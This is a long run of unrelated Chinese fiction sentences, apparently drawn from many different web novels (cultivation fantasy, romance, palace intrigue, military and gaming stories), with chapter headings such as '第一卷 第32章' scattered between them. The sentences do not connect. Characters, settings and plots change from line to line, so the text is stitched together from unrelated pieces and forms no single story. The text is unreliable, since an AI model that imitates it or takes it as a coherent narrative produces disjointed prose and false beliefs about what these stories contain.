说实话,由于忙碌于自己的比赛,亦阳对穆迪埃在巴特勒大学的表现并不了解。但最后那句话,算是对穆迪埃很高的评价。
现在的东方世界也处在山雨欲来的处境,冥府十大阴帅已经开始在鬼界堡各处巡视,就连顶壁的八殿游龙最近数月也越发躁动起来。
那圣尊驾鹤离开,云气才飘散,黑亦辰几人这才发现这座庙宇叫三清宫,里面供奉的,是天地,并非至高无上的三清尊圣。
“你说的没错!”雪莲默默感受着外界的力量,江东所说没错,二人确实随着石块被抛向了空中。只要脱离地心,对雪莲来说,岩浆的热度就不再具有危险。
此话一出,本来令人无法喘气的紧张氛围顿时松懈而来,观众们哄堂大笑。
热火队的队医迅速冲入球场,原来,詹姆斯是因为过度透支而抽筋了。
让那些后辈体味到黑龙族所承受的屈辱,将来更加渴望变强,卧薪尝胆,奋发图强,振兴黑龙族。这,也正是黑圣尧的目的。
一口唾沫一边数着钱。看和不和上数,哪里管的了工作人员说什么。
望向擂台,擂台上面的李倩儿正面无表情的望着他,其他五个擂台却是陷入了激战,一些魔法元素在擂台的结界边上中激烈碰撞。
阿发迎面而去,脸上洋溢着无比灿烂的笑容。在红色的光亮下,显得是那么的阳光。
紫霞笑道:“好了,你们两个,好像前世有仇一样,一个少说一句吧。”说罢在含笑的搀扶下走下了机场的环保车。
“有个生意要谈,这个生意在天京市的时候就谈好了。”叶白含糊的回道。
一个钟后,随着一位解石师向玉石泼上水,余下几位解石一阵擦洗完毕,一颗成千斤玉石以晶莹亮泽闪瞎了在场所有人的眼睛。
丽裳等帅哥走了之后,将刚才他们所说的全部告诉了爸爸妈妈,还有爷爷和弟弟也在旁边听着。
这攻守擂主要是每家矿主设一个擂台,你可以先着攻别家的擂台,也可以选择守自家的擂台。
另外几头实力和暗魔狮差不多的妖兽虽没有暗魔狮那么敏感,但也是察觉到了狼宏翔一行的不简单,心中纷纷警惕起来。
不过,叶白已经失去耐心,他没有闪躲,而是同样迅速出掌,拍向影魅的肩头。
萧莫说罢后,便走到了李晴的身边,抚摸着李晴的额角,微微笑着。
随着洛雨在沙发上缓缓坐下,茶几侧边镂空软垫上的一红一绿的陶瓷茶壶便悬浮而起,停留在洛雨面前的空杯子上。
东方晓有些吃惊道,时剑的周围,风属性灵力还在不断的汇聚着,这种现象的发生,正是突破的前罩。
韩金龙在被押解到基地后,就有专门的医护人员帮他处理过身上的外伤了。至于内伤,零组的人下手都很有分寸的,疼是必须疼的,但真要算起伤势的话,或许还不如他这些皮外伤严重。
“林教头你说错了,不是十万而是八万!”朱武说着右手摆出一个八的姿势。
那他只能使用底牌手段,他可不想无缘无故的死在此地,更不想让身边的兄弟出事。
此时,他们的面色非常之难看,因为在迷离兽域无数年的历史之中,铁臂金猿族还没有遭受过如此的重创。
何焱看着桌上的气氛渐入佳境,赶紧给自己倒了满满一杯白酒,朝着洛雨敬了一杯以示感谢。虽然洛雨随和也不在乎这些物资,但大家肯定还是要讲礼数的。
我跟了上去,副驾驶的警官走在我的后面,在自动门前再一次刷了证件后,我跟着进入了警局。
“林冲你的这个条件倒也合理!不过我方貌不管输赢也绝不会背叛我大哥方腊的,这开城献降却是万万不能,你就死了这条心吧!不过你不想打也得打!”方貌说着,便拍马舞起手中方天画戟,直抢林冲。
放在以前,他会忍不住立马开始攻城略地,可这次他却猛地顿住所有动作,最后翻身把我抱着趴在他身上直喘气。他动情了,下面的变化最能说明问题。
在韩振汉的微笑下,英祖兴奋紧张的骑着从韩振汉那里马匹,还有那套他并不知道价值的铠甲,身后跟着数量马车有返回了他在首里城的皇宫里面。
我甚至害怕他们用悲悯的眼神看我,我知道他们都并不是想要看我笑话,可是他们的同情让我窒息。
其实我是饿的,胃里饿的微微有点反酸,但是我已经失去了吃的胃口。
然后两人交换了名片,去看公寓的时间倒是没有定下来,只说抽一个两人都空的时间去看房子的装修,再做进一步打算。
第一卷 第32章 拿出奥斯卡级演技!
程阳捡起地上那疑似牧师雕像的东西,彻底放下心来,因为这东西正如自己所猜测的那样,确实是牧师雕像。看来以后落凤镇领地又能有一个驻地拥有转职牧师的权限了。
‘喀喀喀’的骨骼爆响之声从防护罩中传出,伴随而出的,还有王云飞那沉重的呼吸声。
柳下惠坐在树上犹豫再三,还是从树上跳了下来,这时心中一动,已经有了主意,立刻拿出银针,在自己胸口扎了一针,收好银针之后,这才走进了村子。
众人坐下,各自饮了几杯酒,周恒敬了一圈酒,又拿出自己方在街上所买的礼物送给周正、夫人、沈傲、周若后,便急促促地对周正和夫人道:“孩儿告辞了。”说罢,忙不迭的走了。
墨砚眸光阴沉地盯着阿依,阿依只是淡淡瞥了他一眼便移开目光。
“本来,选择开心少侠作为衣钵的传人,也算不错”可惜,开心少侠你不是我少林门人,老纳是万万不会希望衣钵落入外人手中的,既然开心少侠执意要接老纳这十掌,好,老纳成全你。”,疯和尚最后关头”口吐真言。
想到这里,开心终于明白自己一直觉得这个神秘黑衣人给自己带来古怪感觉的原因。
在食堂简单的吃了饭,柳下惠就又回到了诊所,坐在办工桌前,一阵惆怅,自己和翁贝茹说的的确是实话。
季长风在宗门内可是大忙人,为了一个传信便赶紧御剑近万里之谣来找人,确可见其对烈盘的重视。
何曼姿不知所措的鞠了个躬,跑出去了。出了包厢,她的嘴角泛起一股冷笑,她知道自己已经引起了夏志强的注意,而且,直觉告诉她,夏志强并不是无懈可击的。
夜辰的身体遥遥地飞出去后,接着再天空中翻了一个跟头,再次朝着远处飞行。
他说话间将袍子敞开,我想转开眼,可是却已经看到了……他身上的那道伤。
我隐约猜到了什么,笑着道:“钉子能来就是我最大的欣慰!礼物我自当收下,只是让钉子破费了,实在不好意思。”我饶有深意的看着他。
曼菲士答应着,拨马调头,带着人往草深处去,寻找那只受了伤的狮子。
话虽这么说,可她脸上却看不到半分凝重,满是平淡祥和,宛若那初升的朝霞一般,给人一种安宁之感。
两道衣着不凡的人上了岛,左面的是一名少年,一身白色长袍,修长如玉的手指,俊美的脸庞,一看便知道是美少年,只是嘴角的一抹邪笑破坏了少年的整体形象。
“嗤!”一声刀入肉体的声音响起,朱子明身体轻轻一颤,嘴角溢出一抹鲜血。
我走近前去,那个被捆在石柱上的人已经被打的皮开肉绽,面目全非。
历史对武则天的褒贬不一,但是在狄仁杰这一事情上。武则天的确很看重狄仁杰,当初也是听了狄仁杰的建议,才立三子李显为太子,让唐朝李氏得以传承。
解决天魔缭乱,无畏之灵必不可少,请宿主在三个星期以内找寻五个无畏之灵皮肤之魂。
剩下的三十二位强者,有三位帝者境强者,八位圣者境强者,二十位王者境,以及一名领域境。
“大家也不用太多担心,雾幻蛇虽然能力惊人,但是这并不意味没有破解之法。”江天辰说道。
赵云和廉颇也冷笑一声,身形顿时消失,化作一丝残影向钟馗扑来。
所以,黑角星是禁止随意战斗的。这里的规矩虽然没有天狼星那么严格,但是在这里战斗的话,还是受到很严重的惩罚。
江天辰看起来只是一个没有修为,毫不起眼的普通人,但他的力量实在是太大了,手掌如同虎钳一般,死死的抓着黑袍人的手臂。
杨戬将手中的三尖两刃刀,指向独角巨狼上的独角,杨戬后身后悬浮的天眼朝着独角释放出了三道炙热的激光,打在了独角上。
她此时说的那是有模有样的,一般不知道内情的人还以为是请来的职业保镖,如果加上一身西装那就更加的像保镖,此时的她还欠一些火候。
“不要欧阳姐,异度空间连你都会迷路,你把放进去万一出不来怎么办?”铁男脸上有了一丝的焦急。
“九幽深渊孽龙生,玉清凌霄真龙现。这样万万人没有其一的孽龙相我怎么可能看错?现在改变主意还来得及,真的选他?”钟霸天也放下了筷子盯着对面的福伯。
“难怪上次让她刷牙,她出去转一圈,弄回一身牙医装备。”古铁苦笑着叹息。
“但兄妹关系是至高,作为优先的,所以古铁哥哥能打红白妹妹屁屁。”古铁说。
他挖到的晶核,但是那样肯定会热闹猥琐佣兵和自己拼命,到时候两人肯定是一起玩完。
随即,杨富贵、茅兴东、迟瑞丰、李太和等人也纷纷把手机掏出来,摆在了各自面前的桌子上。
“但还是以后再亲吧,现在我们该行动了。”郑奇对着还愣着的夜莺说道,他站起来走了出去。
斑木芙兰,作为一个科学怪人,掉脑袋的频率虽然远远低于无头骑士,不过也能算是家常便饭。被李维剁了之后,她也没再在意,而是干脆原地假死。
他三十几岁做到县长,已经是浩阳地区的“政治奇迹……”这位三十岁不到,竟然也是正县团级一把手,虽然煤矿的一把手和县长没有多少可比性,也足够惊人了。
云牧认为自己如今练得还不够得心应手,现在就得意忘形估计会找自卑,他决定再去梦境里练得更纯属一点,到时候老板娘大吃一惊。
秦一白强压了胸中的怒气,转头与徐市计议了一番后,便当即决定,带着已达半步元婴境的杨兴等四人回转燕城,而徐市则继续留守在地底皇陵,负责教导并督促其余之人修行。
第一卷 第33章 没有摸,我只是不小心
但是李流并没有见,而越来越多亡国的国王,来到了龙京市,就是不断的申请拜访,此刻,在忠亲王住的地方,每天都有大量亡国国王的随从,他们希望能够见到李忠,让李忠給李流托句话,希望李流能够见一面。
当然了,这家伙手底下确实有几把硬刷子,在这几天晚上跟杰森的搏斗当中竟然打的有声有色。
对于一个风烛残年的老人来说,以眼还眼以牙还牙,才是最正确的做法对不对?
“慢点开车,行程不取消,现在帝国的将士,正在冒雪执行任务,本宫作为管理帝国军队的人,不能因为下大雪,就取消行程。”秦瑾萱开口说道。
想争夺天地灵物席位的灵王,按规定是必须离开天地谷,到目标国直接参与竞争的,而做为植系一脉的灵王,林国境内适合食人花灵王栖身的地方并不多,距离西山较近的聚点,更是只有一个。
甚至还有人批评林尘是膨胀啦,拍了一部现象级的网剧就不知道天高地厚啦。
甚至,在这枚玉雕中,它们已经活了过来,里面的生命,即将年复一年的在玉雕中繁衍生息。
“换言之。大贤良师誓与我主为敌。神上宗师,则…不然!”田丰一时浑身恶寒。显然亦窥破此中迷局。
“凌兄弟,消息已经确定了,今天,格兰鲁会暂时离开营地,前去一个地方,这恐怕是我们接近他的唯一机会了。”布雷斯接过手下递过来的情报,看了一下,激动地对凌傲天说道。
“吱,吱吱,吱,吱咬吱咬!”九尾貂发出一阵有节奏的尖叫,随着它的声音落下,它前面的空间突然发出一阵波动,接着,一个巨大的空间裂缝出现在他们眼前。
况且,这还只是第一轮,现在成绩不好,并不代表最后不能拿冠军,一切都不能太早下结论。
下一刻,整个雄猫TV的所有直播间全部熄灭,下一秒,直播间再次亮起,无数的直播间全部换成了一个画面。
“勇士大人,请问我能够再取一些‘血萝’回来兑换么?”百天问道。
他这次跟“囚徒”合作,除了为后辈找后路外,另一层目的就是想跟顾行修复关系,现在顾行主动向他请教事,他自然不会放过这个修复关系的机会。
叶安笑着摇了摇头,他有裸睡的习惯,所以很不习惯穿着睡衣睡觉。
现在大概是中午的时候,大多数同学都已经去休息了,篮球场上的人很少很少。
看来,也不一定非得将这个陆天铭吸干不可了。甚至,在很多时候还可以给他一点甜头。
“谢谢,我自己看看就可以了。”古牧微微一笑,说道。这些人的想法他自然是知道,也懒得去理会。
“给我几天时间研究一下。”戴妮眉头微皱,她从来没考虑过收购大众集团,所以自然不会深入研究这方面的问题,现在约翰问她,她自然要好好研究一番,才能给出解决办法。
眼见好几道法术集火朝他攻来,苏墨哼了一声,使出了秘技·反复横跳,轻轻松松躲过了几道法术。
不等boss行动,黑旋风已经再次冲击了上去,这次可不能让boss有冲锋起来的机会了,贴身打,虽然一个大男人和一个鬼贴身怎么看都有点……不过,这个算是现在叶九能够想到的唯一的办法了。
但对方一再放低姿态恳求,容樱只好托辞邵询有事,容他们有空再详谈。
远的不说,就如林将军,即便她在机缘巧合之下,觉醒了前世的记忆,但,倘若,没有点亮“听懂植物谈话”的技能,别说现在,只怕再过十年,她也不知道林将军那张慈眉善目面容下隐藏着的狼子野心。
“不错,不错,相当不错,果然是长江后浪推前浪,老夫实乃佩服,当年先知曾为我卜卦,他算到了你的到来,而我几万年来,都在为今日准备,等待着这一天!!”望月的目中第一次露出了疯狂,与深深的渴望。
逃跑的那三艘战船,相信也会把消息带回去,到时候太湖水师就更加不敢跟天策军做对了。
苏墨看到苏耀打着自己的口号,在自己面洽装逼的时候,就觉得超级好笑。
剩下的兵马,则有邓德明亲自率领,朝着东北方向前进,去堵截进攻寿光,周家村的明军。
普通的火炮,无论是佛郎机还是红衣大炮,如果敢这么做,估计只能开一炮,然后整个炮架子就散掉了,佛郎机还好,但红衣大炮那种重量,想要重新架设好炮位,起码得半个时辰,整场战斗就没有这炮什么事儿了。
经过一段时间后,唐梦美试着想着段晓雨不要每天都那么地无聊,而让她到龙兴公司做点事时,没想到段晓雨竟然一口就答应了。
他隐隐意识到。自己穿越到这个宇宙之后真正的使命,到今天才真的揭开了序幕,而之前那充满苦难的几年,不过都是一种考验而已。
纱幔依然落下,人马继续移动,红底金边五彩七章蟠龙蜀字长三角旗再次飘扬起来。
“此正乃臣斗胆妄议之处!”贺有义突然跪下了。旁边的刘名升等人都傻眼了,不知他是何缘故。
“什么,无极天宫内还有至尊?”关山岳他们倒是第一次听说这个事情,因此震惊无比。
他们是有机会成功的,林燃星道:如果我们真的按照他们的计划,一颗一颗星球打过去。
狗子和三胖下来,也没有吭声,直接坐到我旁边,看来是刘武把事情都告诉了狗子和三胖,没想到忠厚老实的刘武还是有些眼力见的。
席那普斯是打从心底尊敬着高渊中将的,也一直期望自己能成为这样的军人。也因此必须赶紧夺回2号机才行,想要趁机扳倒高渊的人,可是多得像天上的星星一样。
第一卷 第34章 爱人先爱己
而傲天控制城东战局,天堂不寂寞带着少数人逃到了,他们现在的日子也并不好过,公会里面吵成一团,谁愿意在游戏中一直挺尸在那里?又没有牧师敢来救,就算是救了又能怎样?谁让六大公会开启了“”的呢?
陈豪再看向唐诗那边,赤灵鸟停留在她的肩膀上,居然也开口了。
“就算是开战,我们也不会输,但是相公可曾想过,要如何处置姐姐?”木以柔问道,这也是自己最关心的问题。
只有李孟尝有些耐不住性子,沈锋既然走了,他便也一起跟着离开。
“丑陋的东西!你们好歹也是人族,我虽不杀你们,这些就是教训!下次再见到我,直接杀无赦!”姬宇晨冰冷的声音在众人耳畔响起。不由的让这些人冷汗涔涔而下。
“姬宇晨一定是躲起来参悟血帝传承!一定要在他有所成之前将他给我找出来!”炼狱大殿中,传出了沉闷的咆哮声,真的整个大殿都晃动了起来。
而它的攻击每一次的拍打都是连击的效果,所以,也就相当于是先前那只头狼的双倍还要多出一些。
“怎么了,难道这两具尸体和那五爪神龙真的没有关系不成?”易元子还在彷徨之中,听到王道子那样着急的口气,他可谓是大为震惊道。
淡痕飞絮迟疑了很久,如果召唤出死神镰刀的话,他抵挡嘴妆的第一招,死神镰刀一刀就可以要了红妆的命。……可是明天的比赛该怎么办呢?
要知道现在才十月份,距离一月份还有三个月,而猿飞日斩的意思张烨也明白。
不过林沐还是将林父右臂的神经修复,让林父恢复右臂的知觉。虽然因为肌肉萎缩,没法完成大幅度动作,但经过长久锻炼后,也足够应付平时所需,而且在那之前,林沐也应该能找到完全修复的办法。
林飞见对方如此恭敬跪在地上,不像是有恶意,而且这里可是东京基地的核心区,外面不说东京基地的军队保护着,就光江南基地带来的上万精锐,那也不是一般人能够闯的进来,对方必须是有合法身份的。
虚空之中硬生生地打开了一个巨大的口子,随后没入,消失得丝毫踪影也没有了。
话音刚落,吴天的身体突然消失在原地,转眼间就出现在最前面那个护卫面前。
执掌古天庭,负责所有仙人的安排,这样的职位在青云界绝对算得上顶尖。
他打算待一切准备妥当之后,再取出两道残魂,反正残魂会一直待在识海空间之中,又不会平白无故的跑掉。
韩萧心中轻哼一声,暗道:不记恨你才怪,等老子出去后,一定要脱光你的衣服,泄泄自己的火气。
切石师傅拿起许清河方的石头开始画线,切石,一刻钟后许清河满面铁青的看着一无所获的石头,宋天机并没有直接选那块有灵气的石头,而是先挑了一块感觉内层与别的石头稍有不同的石头让师傅切。
反正最近出了抓妖好像没有别的事情去做了,不如去参加一下这个龙虾节。
靠之!云香的心里顿时有草泥马在狂奔。怎么都架空了,还有这个在很多人心里都不美好的民族存在?
大战前的平静日子其实是很短暂的,蓝谦自己也有不少修炼任务,包括刻画纹路、修炼武技魂技、疏通奇经八脉等等。白天忙完,晚上就是轻松时刻,蓝谦先在瞿秋芸那里过夜,后在凌曦那里过夜,今天晚上则轮到纳兰云玺。
时间一天天过去,江湖上哀声一片,血流成河。作为绝世凶器的制造者,蓝谦虽替刘匠师感到内疚,但也是无能为力。
赵美人明白,皇上封自己为淑妃,是让她谨记前朝淑妃的下场,向皇后请安的时候,她特意又表明了一番心迹,弄得连芳清有些莫名其妙,广元帝却颇为满意。
两天过后,全副武装的蒋秋名找到蓝谦,说要蓝谦履行承诺,带他去八万万山闯荡。
谁也没有想到,才刚刚从传送阵出来,竟然发现造气境武者在此斗法。
而且,那儿有个规矩,姑娘若是看不上某位客人,是可以拒绝相陪的,除非姑娘心甘情愿,否则谁也不能相逼。
蓝谦的身影已经看不见,他被裹成一个球,悬在半空中。尽管如此,胜负却未见分晓,水老没有掉以轻心。
为了省去不必要的麻烦,吕天明特意挂起闭关的牌子,并且暗中告知二狗,没有什么特别的大事不要打扰他。
席惜之转头看了看两人,之前的万分把握,已经降低了一半。心中大骂,你们都是闲着没事做,又不差钱,干嘛来跟她抢银子。
海神岛上没有像斗魂场那样的比赛擂台,但想要找一块打架的空地,还是没问题的。
因此,不管季湛是出于什么原因,才突然出现在医院的,祝晚都应该心怀感激。
盗匪两兄弟连忙闪身后退,将手中刀剑舞的密不透风,避开了陆源的攻击,同时借助兵器的长度优势,对陆源再次发起了进攻。
“不用理会他们,这只不过是商国的先遣队而已,只是出来探情况的。”东方天啸淡淡的道。
而让赵凯见着,在心里也是有些满足感,因为今日的这场讲课还算比较成功,虽然今日他赵凯得罪了很多的人,但是,通过这场讲课,赵凯也是认清了咸阳百官,得知道其中一些人是可以交朋友的。
围墙里面修建着高架,上面安装着可360度旋转的监控摄像头,且每隔20米便有一台。
极致的高温洞穿长空,空间的结构都似要被灼穿,一点黑影出现在剑光之尖,直取蝗神之身影。
天璇长老帮姜离疗伤,令得他神魂伤势恢复的同时也在神元修为上有所长进,姜离就借力一跃,趁势开辟了上丹田气海。
第一卷 第35章 这里没有请柬进不去
方向盘被锤得了作响,顾熙被震得耳膜打发痛,身体跟着一抖,再也说不出任何话出来,这才后知有觉,心里开始生气一股恐惧。
出乎知府大人意料的是,这几个一条船上的好队友一就位,便直接招认,声称一切是丛中智叫他们过去的,他们只是去做个见证,并无参与。
“约什么法?”苏欣烟直起腰,一脸懵逼的看着苏年。心底却在思索着怎么才能从苏年眼皮底下跑出去。
苏年又蜻蜓点水般的在苏欣烟额头上亲了一下,然后才带着满心的担忧出发。
陈华大惊,立马身子后仰,一道剑气从他鼻子上方掠过,打在天池另一端的一座山峰上,将整个山峰切了下来。
不过这也不算意外,“嘉庆帝”对待儿子尚且是渣爹,又何况是嫔妃了。
“苏欣烟,你马上给我撤诉。你有什么条件都可以提。”孟轩气急败坏的声音从电话那头传来。
听到自己说的不便打扰转眼被徐添扭曲改写了意思,林觅月忍俊不禁,徐添丝毫不怀疑她若是没有遮着下半张脸,此番一笑会多么倾国倾城。
萧子年所说的话,都是他们几人商议好的。目的,除了真心的感激许磊这位老板外,还有就是让在场的那些音乐人,歌手知道许磊的厉害。有了名气,即便是还有不长眼的人诋毁,针对,也得收敛一些。
系统甜美的声音再次传出,但是明显有些冷漠和严肃了,毕竟,一个神圣体质,整个大陆百年才能出现一个,可是现在,居然出现了两个?
服务生的心里浮起一抹不好的感觉,不过却也只能朝着这边走来。
兰迪家族的诸多高层们,落座两侧,甚至族长兰轻泽,也坐在左侧座位上。
只要弄死颉利,大唐在未来的三五年内肯定不会再有对外的战争,要开始进入修养期,稳住高句丽确实需要花些心思。
可是他却又忍不住期待着,那个会再次对他露出笑容,会亲手为他下厨,会对他或嗔或羞涩地撒娇的苏夏。
“好了好了,朕就是跟你说一声而已,也不是要吓你的。”倒是萧经武看得明诗韵这副模样可怜,还不等她跪下去就直接把人扶了起来,缓言安慰了一句。
床边,一个颀长的身影静静的立着,黑眸一眨不眨的看着床上的人,听到她的低喃,心底一痛。
苏弈当机立断将苏夏交到了秦越怀中,也来不及吩咐下人去请公孙晔,他几乎是瞬间拔地而起,轻飘飘便掠过了院墙,朝远处而去。
一个又一个,当代名士,他们之中有阴阳家的传人,有纵横家的传人,也有法家传人、甚至还有两位是墨家传人,也有许多是儒家传人。
“娘娘想要怎么对付珏嫔?可需要老奴去想法子打点一下?”听着皇后的意思似乎是已经有了主意,巧嬷嬷见她冷静了下来也就松了一口气。
“那月圆先告退了。”月圆说完,未等到回应,便忙不迭的退下了。她可不想等公主把她发配到厕所。只是这应该算是大事了吧,可是为什么公主的反应会这么的平淡。
他没有任何犹豫,随手祭起了开阳剑,而后释放出九大阵兽。对于阵法结界,他不说特别熟知,一般的防护大阵,于他而言,破除并不难。
即使宁宛西想要天上的月亮,陆轩怕是都会有一种想要把月亮摘下来给她的冲动,但仅仅是冲动,毕竟月亮怎么可能摘的下来呢。
将东方澈伤口处理得差不多之后,轻歌还是有几分怨念地说了句。
五行圣鼎很轻松的解决了这些弹簧草,江城主眼底闪过了一道精光。
说起白烟柳的身份,容华不期然的想起了前世白烟柳那包含怨毒嫉恨的话语。
在韩雨桐的搀扶下,麦招娣和她一起站了起来,举步往自己房间返回。
我和傲天师弟,曾经都是北寒之地寒冰帝国之人,相约修元,便一同来到了冰极门。原本冰极门只有七峰六脉,这万药峰乃是我与师弟一同创立。
他家想讹诈江罗,结果自家遭了报应,出了那么大的事,人们也只是在暗地里说一声活该,这一定是天谴。
余悦拿着游戏机,躲在司权怀里,让他给自己打掩护,偷偷地刷着单机游戏。
他实在是看不下去了,一挥衣袖高呼道:“行了,老白,差不多得了,你也嘚瑟够了吧,这逼装的可以了,咱们还是撤吧!”随着辰昊的话语,所有的幻境尽皆消散,裸露出真实的场景。
“舰长哥哥,舰长哥哥,那两个外星人醒了。”阿特拉斯兴奋的声音在指挥舱里响了起来。
第一卷 第36章 这么着急跟别的男人订婚?
这边的动静随着薛洋与贝大师的赌约成立而越来越大,竟然也引起了雕刻那边以及古玩那边众人的注意力,于是越来越多的人都围拢了过来,竟然连李家的三个后人以及欧阳珣大师都走了过来。
淘淘的嘴角动了动,露出一个笑脸,孩子的身体很虚弱,没有说话,只是朝我点了点头,孩子把头转向玩具汽车,显然我带来的这个助手,孩子很喜欢。
金链汉子双手抱拳,咔吧咔吧捏了一阵,又左右甩一下脖子,然后冷笑着逼近。
不论是翡翠还是钻石、玉器等,净度都是决定他们价值的最大因素。 通常,破坏这些石头价值的是白色和黑色,这两种颜色越多,那么说明原石损坏的越重。
“噗嗤,姐最干净了,天天漱口刷牙,不信你闻闻,还有香气呢。”李霞说着,故意往前凑凑,冲男人哈了一口气。
一圈过去了,基本所有的人都没有表现出乏力的现象,只不过脸上潮红着,呼吸沉重了一点,这样已经让叶玄很是吃惊了,直到第二圈过后,渐渐的大部分的都已经撑不住了,脚步已经完全的跟不上节奏了。
苏念安捂住耳朵,因为她知道,无论她听到什么,她之前好不容易才下定的决定都会瞬间改变。只因为和他有关,只因为她自己就不想离开他。
因为薛洋的实力已不止是后天巅峰那么简单了,薛洋的实力是后天大圆满,只差一步就能够成为先天境界的超级强者了。
“可我还是很怕,昨天要不是你,我就……”冯雅颂说着把头靠在我肩膀上,搂着我的腰,还是忍不住地啜泣着。
她说她刚才要赶着出嫁,鬼也可以出嫁的吗?那是从这个车厢想嫁到另外一个车厢去吗?如果是这样子的话,婆家的路也太近了吧?我在乱想什么呢?这里她们怎么可能会有婆家呢?
韩翩芊早把手里的提包放进车里去了,折过身去的时候还伸手拍了一下顾念的肩膀,示意她别磨蹭。
冰片:颜色或白或灰色,气味清香,味辛凉,可以治疗神思昏厥一类的病症。
“领队说的极是!我这就拿着画去找画师,刻板印刷。”秦刚走上前去,接过黄树狼手中的画道。
在前方道路旁五米处,邵飞安排的二十二名战士隐蔽在碎石上,身上盖满了干草、杂物。他们每人拿着一根竹竿,竹竿一头绑满手榴弹。战士拉完引线后,奋力将竹竿往前推,只到手榴弹移动到车子底下为止。
阳光透过悬崖峭壁上树叶的缝隙,斑驳地照在逍遥子的身躯上,照在这块沙坝上,照在灵蛇毒龙的身上,给这片带来了一种特有的气氛。
被此人称着侯爷的逍遥大治,为人正直,一年之前担任大冶统制,是大冶的最高军事长官。
来的时候就听换班的同事特别交代过了,这里面临时拘留着的人要好生照顾着,听说是出了一起交通事故,事情倒不是很大,说是要拘留两天。
一连的战士开始猛烈的反击,尤其是屋顶上的四挺重机枪,给敌人以最致命的打击。
平常都是睡到下午才醒的古贺,竟然破天荒的一大早起床,去见高升,做最后的准备。
“姑妈,谢谢你提醒,不过,您放心,我的消息灵通,哪些股票该投资,那些不该投资,什么时候该抛,什么时候该买进,我心里有数。”乐凡笑着回答道。
来到宴会场所,这里是专门开辟来做公司聚会、活动什么的准备的。
这时窝在沈墨北怀里的皙白突然睁开了眼,沈墨北看着她的眼神,顿下了步子。
公司那些传言,曲潇潇本也就听听,可今天看穆厉延这态度,倒确有其事的意思,她也认识穆厉延好一段时间了,什么脾气秉性她还是知晓。
之所以这位男记者这么问出来,是因为她郁皙白从来没有被人包养的劣迹,虽然她之前就名声狼藉,追根究底是因为从去年到现在一年的时间,她甩过近十个豪门富豪子弟吧。
“不会耽误的。你们不用操心我,雷师长,带天意回房歇着吧!我把秦老先生屋里的被褥什么的拆下来洗了。”陈云脸上带着浅笑,眼里尽是暖意,不复才来家里时的刻板与平静。
外面的风很大,倾盆大雨像是要淹没这个城市一样,即便是白天,整个天际也都呈现了暗色。
现在已经是凌晨12点了,习戎仍然没有打算关掉电视,他继续在沙发上尽情玩着,要是再平时那可就不行,最多十点钟就必须睡觉了,不然又是一顿唠叨。
这下可高兴坏了刘大娘,当初算命的人就说她有儿孙福,儿子会做大官,她下半辈子可是锦衣玉食。
秦萱留给他的就这么两个儿子,他韬光养晦的那段时间也曾经让孩子吃了亏,心中愧疚,哪怕现在已经封了太子,但给他们兄弟的待遇都是一样的。
所幸,短刃还在。只不过身子被绑缚着,挪动极为困难,必须一点点的把短刃挪出袖子,抓在手中,这样方能脱困。但,所需费时。
第一卷 第37章 到底是谁令人恶心?
绾绾看向徐乾的目光有愤恨,有迷恋,有委屈,有爱意,各种情感不一而足。
丰盛农业人事部总监易宏宇是今天早上才抵达燕京的,然后就被宋山拖来了人大校园里面。
偷税漏税不用说,这相当于从国家的钱包里面掏钱往自己的钱包里面揣,任何一个主政一方的大员都不可能视而不见,只要捅出去,廖志明最少也是被罚款警告,甚至严重一点还要坐牢。
今天还真是奇怪了, 按老爷子的习惯,他不是应该到饭点才会从收藏室里出来的么,现在还差二十分钟呢。
做菜能糊弄过去就行,却没想到一块肉片吃下去,顿时感觉味蕾被美妙的滋味包裹,清淡却有味,哪怕是她曾经吃过的最美味的菜肴也无法和眼前的菜肴媲美。
这话让赵翔略微尴尬,的确,他这几天根本没把吴总放在心上,只当做泛泛之交,却没想到有一天需要对方帮忙。
叶轩一阵无奈,这老不死就连打电话时都是一边打着酒嗝的,可以想像到他现在正在干什么。
见靳军好奇心上来了,王奈杰趁机把话说死,没给他拒绝的机会。
有种想下去割了他舌头的冲动,在理智的阻拦下将愤怒压制了下来。
远处对峙的二人大大出乎所有人的预料之外,一黑一白两种截然不同的装束更是增添了几分不同寻常的气味。
“机器人这个辅助碰到布隆这一类型的辅助,的确是差了些,难怪之前他们要禁掉三个辅助,如果这一波是牛头的话,结果应该会有所不同。”七音符道。
圆球看着自己缩水的黑暗元素,心中有些发苦,他怎么就如此感性呢?理智上,它是想让自己后悔自己的决定的,可是它却发现,情感上,他竟然一点也不后悔,这真是……悲惨了。
叶璃不知道沐千寻发那门子的神经,不过看着沐千寻近乎发疯的状态,还是一一照办了。
“难道这人修习的是不灭金身,所以才不惧雷霆火海!”有人揣测,目光中带着钦羡。雷劫之与修士,实在是太过恐怖。尤其是为了度过雷劫而购买的法阵、法宝等物,着实能耗尽那人所有的身价。
但见空间之力,在飞刀甩出去的时候,是宛如流水一般,与飞刀融合在一起。
看着南宫沫泛红的眼眶,微微抖动的嘴唇,草儿心中莫名的酸楚,猛地扑进南宫沫的怀里。
突然,一道璀璨的剑光自后方袭来,带着冰寒的水气,直直刺在翎羽扇上,发出铿锵的声音。
刘强显然是彻底愤怒了,他当然也没有想到,叶芸婕竟然会有如此身手。
杨老板扯着莫老头衣领不依不饶,任由几位侍者如何劝解也没有用。
慕曦云望着两个充满了魅力的男人为自己斗着嘴,不知是该高兴还是不安。
谁也不知道陈景道为什么就会如此自信,觉得只要自己继续再撑下去的就有人帮忙。
随后,薛枫曾找到任飞扬,求他放过自己,并愿意退赃,从此洗手不干。
闻言,许静更是满头大汗,她还以为别人送的,同时也想到了何东何医生,可就在下一秒,老妈的话全部打乱了她的思路。
“怎么了?”薛雨凝看到接完电话,江浩脸色有些不好看,便问道。
光芒飞过,两人看清了黑暗。原本空荡荡的房屋之中不知从何处窜来无数,灰黑色身躯趴在墙上的怪物!“咕呱!”那些怪物们在这无比的黑暗之中眼睛早已退化。它们只是闻到了在不远处有两个鲜美的食物。
“哈哈……你也太高看我了,我就是个混吃等死的货。”林眠哈哈一笑。
一中校园内,恰好是午休时间,这赵山河跟叶修月走在一起,两个都是风云人物,自然引起了不少人在后面窃窃私语。
“不,不要杀了我!林天遥,我哥哥是七岁的梅建清,你敢杀我,哥哥不会让你走。”那个蓝衣男子匆匆说道。
叶承志也有想过是不是王德芳所为,他很清楚知道的,无论他如何掩饰他都瞒不了王德芳的眼睛,只是就算如此,她也没有理由把夏海桐交给叶承轩,毕竟夏海桐对她来说多少还是有点价值的。
